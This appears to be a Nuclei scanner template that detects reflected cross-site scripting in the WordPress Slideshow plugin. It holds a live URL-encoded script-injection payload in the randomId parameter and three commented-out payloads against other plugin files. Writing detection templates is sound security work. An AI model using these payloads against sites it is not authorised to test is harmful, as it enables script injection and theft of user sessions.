wp-slideshow-xss: WordPress Slideshow - Cross-Site Scripting

id: wp-slideshow-xss

info:
  name: WordPress Slideshow - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: WordPress Slideshow plugin contains multiple cross-site scripting vulnerabilities. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.exploit-db.com/exploits/37948
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: wordpress,xss,wp-plugin,edb,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/slideshow-jquery-image-gallery/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Slideshow'
          - 'Stable tag:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      #  - '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?slides[0][type]=text&slides[0][title]=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E'
      #  - '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[][group]=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E'
      #  - '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0]&inputFields[0]=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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